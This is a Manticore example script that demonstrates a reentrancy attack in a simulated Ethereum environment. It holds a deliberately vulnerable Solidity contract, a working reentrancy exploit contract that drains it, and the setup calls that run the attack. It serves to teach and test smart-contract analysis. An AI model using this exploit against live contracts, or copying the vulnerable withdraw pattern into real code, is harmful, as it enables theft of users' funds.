manticore/examples/evm/reentrancy_concrete.py
feliam 94d2e94bf1
New API for EVM analysis (#551)
* Fixes symbolic reentrancy example

* Fix coverage Issue# 527

* Remove  debug unused code

* New solidity biased API and reporting

* Updated examples to new api WIP

* simple_mapping FIXED. new api

* Simple transaction example added. msg.value can be symbolic now

* Reentrancy symbolic now updated to new API + bugfixes
2017-11-14 12:06:08 -03:00

147 lines
4.5 KiB
Python

from seth import ManticoreEVM
################ Script #######################
seth = ManticoreEVM()
seth.verbosity(0)
#The contract account to analyze
contract_source_code = '''
pragma solidity ^0.4.15;
contract Reentrance {
mapping (address => uint) userBalance;
function getBalance(address u) constant returns(uint){
return userBalance[u];
}
function addToBalance() payable{
userBalance[msg.sender] += msg.value;
}
function withdrawBalance(){
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
revert();
}
userBalance[msg.sender] = 0;
}
}
//Function signatures:
//c0e317fb: addToBalance()
//f8b2cb4f: getBalance(address)
//5fd8c710: withdrawBalance()
'''
exploit_source_code = '''
pragma solidity ^0.4.15;
contract GenericReentranceExploit {
int reentry_reps=10;
address vulnerable_contract;
address owner;
bytes reentry_attack_string;
function GenericReentranceExploit(){
owner = msg.sender;
}
function set_vulnerable_contract(address _vulnerable_contract){
vulnerable_contract = _vulnerable_contract ;
}
function set_reentry_attack_string(bytes _reentry_attack_string){
reentry_attack_string = _reentry_attack_string;
}
function set_reentry_reps(int reps){
reentry_reps = reps;
}
function delegate(bytes data) payable{
// call addToBalance with msg.value ethers
vulnerable_contract.call.value(msg.value)(data);
}
function get_money(){
suicide(owner);
}
function () payable{
// reentry_reps is used to execute the attack a number of times
// otherwise there is a loop between withdrawBalance and the fallback function
if (reentry_reps > 0){
reentry_reps = reentry_reps - 1;
vulnerable_contract.call(reentry_attack_string);
}
}
}
//Function signatures:
//0ccfac9e: delegate(bytes)
//b8029269: get_money()
//9d15fd17: set_reentry_attack_string(bytes)
//0d4b1aca: set_reentry_reps(int256)
//beac44e7: set_vulnerable_contract(address)
'''
#Initialize user and contracts
user_account = seth.create_account(balance=100000000000000000)
attacker_account = seth.create_account(balance=100000000000000000)
contract_account = seth.solidity_create_contract(contract_source_code, owner=user_account) #Not payable
seth.world[int(contract_account)]['balance']=1000000000000000000 #give it some ether
exploit_account = seth.solidity_create_contract(exploit_source_code, owner=attacker_account)
print "[+] Setup the exploit"
exploit_account.set_vulnerable_contract(contract_account)
exploit_account.set_reentry_reps(30)
print "\t Setting attack string"
#'\x9d\x15\xfd\x17'+pack_msb(32)+pack_msb(4)+'\x5f\xd8\xc7\x10',
reentry_string = seth.make_function_id('withdrawBalance()')
exploit_account.set_reentry_attack_string(reentry_string)
print "[+] Initial world state"
print " attacker_account %x balance: %d"% (attacker_account, seth.get_balance(attacker_account))
print " exploit_account %x balance: %d"% (exploit_account, seth.get_balance(exploit_account))
print " user_account %x balance: %d"% (user_account, seth.get_balance(user_account))
print " contract_account %x balance: %d"% (contract_account, seth.get_balance(contract_account))
#User deposits all in contract
print "[+] user deposited some."
contract_account.addToBalance(value=100000000000000000)
print "[+] Let attacker deposit some small amount using exploit"
exploit_account.delegate(seth.make_function_id('addToBalance()'), value=100000000000000000)
print "[+] Let attacker extract all using exploit"
exploit_account.delegate(seth.make_function_id('withdrawBalance()'))
print "[+] Let attacker destroy the exploit andprofit"
exploit_account.get_money()
print " attacker_account %x balance: %d"% (attacker_account, seth.get_balance(attacker_account))
print " user_account %x balance: %d"% (user_account, seth.get_balance(user_account))
print " contract_account %x balance: %d"% (contract_account, seth.get_balance(contract_account))
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
for state_id in seth.final_state_ids:
seth.report(state_id)
print "[+] There are %d alive states now"% (len(seth.running_state_ids))
for state_id in seth.running_state_ids:
seth.report(state_id)
print "[+] Global coverage:"
print seth.coverage(contract_account)